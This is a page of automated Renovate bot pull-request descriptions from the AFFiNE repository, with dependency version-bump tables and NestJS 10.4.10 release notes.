♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-27 10:06:14 +00:00
renovate
8c19b6f8f0 chore: bump up nestjs to v10.4.10 (#8943)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.10)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...v10.4.10)

##### v10.4.10 (2024-11-27)

##### Bug fixes

-   `platform-socket.io`, `websockets`
    -   [#&#8203;14204](https://redirect.github.com/nestjs/nest/pull/14204) fix(websockets): ensure non-shared servers call close method ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

##### Dependencies

-   [#&#8203;14221](https://redirect.github.com/nestjs/nest/pull/14221) chore(deps): update mysql docker tag to v8.4.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14220](https://redirect.github.com/nestjs/nest/pull/14220) chore(deps): update dependency webpack to v5.96.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14219](https://redirect.github.com/nestjs/nest/pull/14219) chore(deps): update dependency nodemon to v3.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14218](https://redirect.github.com/nestjs/nest/pull/14218) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14217](https://redirect.github.com/nestjs/nest/pull/14217) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14216](https://redirect.github.com/nestjs/nest/pull/14216) fix(deps): update dependency rimraf to v5.0.10 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14215](https://redirect.github.com/nestjs/nest/pull/14215) fix(deps): update dependency dotenv to v16.4.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14214](https://redirect.github.com/nestjs/nest/pull/14214) fix(deps): update dependency [@&#8203;grpc/reflection](https://redirect.github.com/grpc/reflection) to v1.0.4 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;12940](https://redirect.github.com/nestjs/nest/pull/12940) fix(deps): update dependency mongoose to v8.8.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14207](https://redirect.github.com/nestjs/nest/pull/14207) chore(deps): update dependency [@&#8203;types/dotenv](https://redirect.github.com/types/dotenv) to v8.2.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14208](https://redirect.github.com/nestjs/nest/pull/14208) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14209](https://redirect.github.com/nestjs/nest/pull/14209) chore(deps): update dependency amqplib to v0.10.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14212](https://redirect.github.com/nestjs/nest/pull/14212) chore(deps): update dependency webpack to v5.94.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14210](https://redirect.github.com/nestjs/nest/pull/14210) chore(deps): update dependency husky to v9.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14211](https://redirect.github.com/nestjs/nest/pull/14211) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14206](https://redirect.github.com/nestjs/nest/pull/14206) chore(deps-dev): bump mongoose from 8.8.1 to 8.8.3 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 1

-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-27 09:49:16 +00:00
renovate
693ec6adc4 chore: bump up all non-major dependencies (#8781)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.688.0` -> `3.701.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.688.0` -> `3.701.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.688.0/3.701.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/android](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fandroid/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fandroid/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fandroid/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fandroid/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fandroid/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/app](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.1` -> `6.0.2`](https://renovatebot.com/diffs/npm/@capacitor%2fapp/6.0.1/6.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fapp/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fapp/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fapp/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fapp/6.0.1/6.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@capacitor/browser](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.3` -> `6.0.4`](https://renovatebot.com/diffs/npm/@capacitor%2fbrowser/6.0.3/6.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fbrowser/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fbrowser/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fbrowser/6.0.3/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fbrowser/6.0.3/6.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@capacitor/cli](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcli/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcli/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcli/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcli/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcli/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@capacitor/core](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcore/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcore/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcore/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/ios](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`6.1.2` -> `6.2.0`](https://renovatebot.com/diffs/npm/@capacitor%2fios/6.1.2/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fios/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fios/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fios/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fios/6.1.2/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capacitor/keyboard](https://redirect.github.com/ionic-team/capacitor-plugins) | [`6.0.2` -> `6.0.3`](https://renovatebot.com/diffs/npm/@capacitor%2fkeyboard/6.0.2/6.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fkeyboard/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fkeyboard/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fkeyboard/6.0.2/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fkeyboard/6.0.2/6.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@clack/core](https://redirect.github.com/natemoo-re/clack/tree/main/packages/core#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/core)) | [`0.3.4` -> `0.3.5`](https://renovatebot.com/diffs/npm/@clack%2fcore/0.3.4/0.3.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fcore/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fcore/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fcore/0.3.4/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fcore/0.3.4/0.3.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`^0.7.0` -> `^0.8.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.7.0/0.8.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.7.0/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.7.0/0.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@commitlint/cli](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@commitlint/cli)) | [`19.5.0` -> `19.6.0`](https://renovatebot.com/diffs/npm/@commitlint%2fcli/19.5.0/19.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@commitlint%2fcli/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@commitlint%2fcli/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@commitlint%2fcli/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@commitlint%2fcli/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@commitlint/config-conventional](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@commitlint/config-conventional)) | [`19.5.0` -> `19.6.0`](https://renovatebot.com/diffs/npm/@commitlint%2fconfig-conventional/19.5.0/19.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@commitlint%2fconfig-conventional/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@commitlint%2fconfig-conventional/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@commitlint%2fconfig-conventional/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@commitlint%2fconfig-conventional/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@dnd-kit/core](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/core)) | [`6.1.0` -> `6.2.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fcore/6.1.0/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fcore/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fcore/6.1.0/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fcore/6.1.0/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@electron-forge/cli](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fcli/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fcli/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fcli/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fcli/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fcli/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/core](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fcore/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fcore/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fcore/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fcore/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fcore/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/core-utils](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fcore-utils/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fcore-utils/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fcore-utils/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fcore-utils/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fcore-utils/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-base](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-base/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-base/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-base/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-base/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-base/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | minor |
| [@electron-forge/maker-deb](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-deb/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-deb/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-deb/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-deb/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-deb/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
